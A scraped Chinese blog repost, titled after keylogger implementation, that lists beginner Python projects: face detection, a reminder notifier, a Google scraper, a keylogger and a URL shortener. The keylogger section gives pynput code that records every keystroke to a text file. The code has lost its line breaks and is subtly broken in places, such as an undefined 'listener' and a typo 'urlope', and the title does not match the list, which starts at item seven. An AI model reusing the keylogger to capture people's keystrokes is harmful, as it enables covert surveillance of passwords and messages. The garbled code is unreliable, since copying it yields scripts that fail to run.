键盘记录器的实现方式_查看电脑键盘输入记录

键盘记录器的实现方式_查看电脑键盘输入记录,第1张

键盘记录器的实现方式_查看电脑键盘输入记录 人脸识别目的:编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。

提示:可以使用haar级联分类器对人脸进行检测。

它返回的人脸坐标信息,可以保存在一个文件中。

安装:OpenCV。

import cv2# Load the cascadeface_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)# Read the input imageimg = cv2.imread(‘images/img0.jpg’)# Convert into grayscalegray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# Detect facesfaces = face_cascade.detectMultiScale(gray, 1.3, 4)# Draw rectangle around the facesfor (x, y, w, h) in faces:cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)crop_face = img[y:y + h, x:x + w]cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)# Display the outputcv2.imshow(‘img’, img)cv2.imshow(“imgcropped”,crop_face)cv2.waitKey()七、提醒应用目的:创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。

提示:Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。

安装:win10toastfrom win10toastimport ToastNotifierimport time toaster = ToastNotifier()try: print(“Title of reminder”)header = input()print(“Message of reminder”)text = input() print(“In how many minutes?”)time_min = input() time_min=float(time_min)except:header = input(“Title of reminder\n”)text = input(“Message of remindar\n”)time_min=float(input(“In how many minutes?\n”))time_min = time_min * 60 print(“Setting up reminder..”)time.sleep(2) print(“all set!”)time.sleep(time_min) toaster.show_toast(f”{header}”, f”{text}”, duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)更多项目源码,请继续关注小编,如果大家在学习中遇到困难,想找一个python学习交流环境,可以加入我们的python裙,关注小编,并私信“01”即可进裙,领取python学习资料,会节约很多时间,减少很多遇到的难题。

八、获取谷歌搜索目的:创建一个脚本,可以根据查询条件从谷歌搜索获取数据。

from bs4import BeautifulSoupimport requestsheaders = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’} def google(query):query = query.replace(” “,”+”)try:url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8′res = requests.get(url,headers=headers)soup = BeautifulSoup(res.text,’html.parser’)except:print(“Make sure you have a internet connection”)try:try:ans = soup.select(‘.RqBzHd’)[0].getText().strip() except: try: title=soup.select(‘.AZCkJd’)[0].getText().strip()try:ans=soup.select(‘.e24Kjd’)[0].getText().strip()except: ans=”” ans=f'{title}\n{ans}’ except:try:ans=soup.select(‘.hgKElc’)[0].getText().strip()except:ans=soup.select(‘.kno-rdesc span’)[0].getText().strip()except:ans = “can’t find on google”return ans result = google(str(input(“Query\n”))) print(result)九、键盘记录器目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。

简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()keys=[]def on_press(key):global keys#keys.append(str(key).replace(“‘”,””))string = str(key).replace(“‘”,””)keys.append(string)main_string = “”.join(keys)print(main_string)if len(main_string)>15:with open(‘keys.txt’, ‘a’) as f:f.write(main_string)keys= []def on_release(key):if key == Key.esc:return Falsewith listener(on_press=on_press,on_release=on_release) as listener: listener.join()十、短网址生成器目的:编写一个Python脚本,使用API缩短给定的URL。

from __future__ import with_statementimport contextlibtry:from urllib.parse import urlencodeexcept ImportError:from urllib import urlencodetry:from urllib.request import urlopenexcept ImportError:from urllib2 import urlopeimport sysdef make_tiny(url):request_url = (‘http://tinyurl.com/api-create.php?’ +urlencode({‘url’:url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode(‘utf-8’)def main(): for tinyurl in map(make_tiny, sys.argv[1:]):print(tinyurl) if __name__ == ‘__main__’: main()—————————–OUTPUT————————python url_shortener.py https://www.wikipedia.org/https://tinyurl.com/buf3qt3最后多说一句,小编是一名python开发工程师,这里有我自己整理了一套最新的python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/tougao/661880.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-18
下一篇 2022-04-18

发表评论

登录后才能评论

评论列表(0条)

保存